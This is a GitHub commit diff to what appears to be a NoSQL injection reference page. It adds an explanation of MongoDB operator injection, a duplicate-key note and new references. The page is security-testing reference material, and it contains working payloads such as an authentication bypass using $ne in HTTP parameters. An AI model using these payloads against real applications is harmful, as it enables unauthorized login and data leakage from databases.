You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
*[Extract Data Information](#extract-data-information)
13
+
*[WAF and Filters](#waf-and-filters)
12
14
*[Blind NoSQL](#blind-nosql)
13
15
*[POST with JSON Body](#post-with-json-body)
14
16
*[POST with urlencoded Body](#post-with-urlencoded-body)
@@ -24,11 +26,37 @@
24
26
25
27
## Methodology
26
28
29
+
NoSQL injection occurs when an attacker manipulates queries by injecting malicious input into a NoSQL database query. Unlike SQL injection, NoSQL injection often exploits JSON-based queries and operators like `$ne`, `$gt`, `$regex`, or `$where` in MongoDB.
30
+
31
+
### Operator Injection
32
+
33
+
| Operator | Description |
34
+
| -------- | ------------------ |
35
+
| $ne | not equal |
36
+
| $regex | regular expression |
37
+
| $gt | greater than |
38
+
| $lt | lower than |
39
+
| $nin | not in |
40
+
41
+
Example: A web application has a product search feature
42
+
43
+
```js
44
+
db.products.find({ "price": userInput })
45
+
```
46
+
47
+
An attacker can inject a NoSQL query: `{ "$gt": 0 }`.
48
+
49
+
```js
50
+
db.products.find({ "price": { "$gt":0 } })
51
+
```
52
+
53
+
Instead of returning a specific product, the database returns all products with a price greater than zero, leaking data.
54
+
27
55
### Authentication Bypass
28
56
29
57
Basic authentication bypass using not equal (`$ne`) or greater (`$gt`)
30
58
31
-
*in HTTP data
59
+
* HTTP data
32
60
33
61
```ps1
34
62
username[$ne]=toto&password[$ne]=toto
@@ -37,7 +65,7 @@ Basic authentication bypass using not equal (`$ne`) or greater (`$gt`)
In MongoDB, if a document contains duplicate keys, only the last occurrence of the key will take precedence.
120
+
121
+
```js
122
+
{"id":"10", "id":"100"}
123
+
```
124
+
125
+
In this case, the final value of "id" will be "100".
126
+
87
127
## Blind NoSQL
88
128
89
129
### POST with JSON Body
@@ -198,8 +238,10 @@ end
198
238
## References
199
239
200
240
*[Burp-NoSQLiScanner - matrix - January 30, 2021](https://github.com/matrix/Burp-NoSQLiScanner/blob/main/src/burp/BurpExtender.java)
241
+
*[Getting rid of pre- and post-conditions in NoSQL injections - Reino Mostert - March 11, 2025](https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/)
201
242
*[Les NOSQL injections Classique et Blind: Never trust user input - Geluchat - February 22, 2015](https://www.dailysecurity.fr/nosql-injections-classique-blind/)
202
243
*[MongoDB NoSQL Injection with Aggregation Pipelines - Soroush Dalili (@irsdl) - June 23, 2024](https://soroush.me/blog/2024/06/mongodb-nosql-injection-with-aggregation-pipelines/)
244
+
*[NoSQL error-based injection - Reino Mostert - March 15, 2025](https://sensepost.com/blog/2025/nosql-error-based-injection/)
203
245
*[NoSQL Injection in MongoDB - Zanon - July 17, 2016](https://zanon.io/posts/nosql-injection-in-mongodb)
204
246
*[NoSQL injection wordlists - cr0hn - May 5, 2021](https://github.com/cr0hn/nosqlinjection_wordlists)
205
247
*[Testing for NoSQL injection - OWASP - May 2, 2023](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)
0 commit comments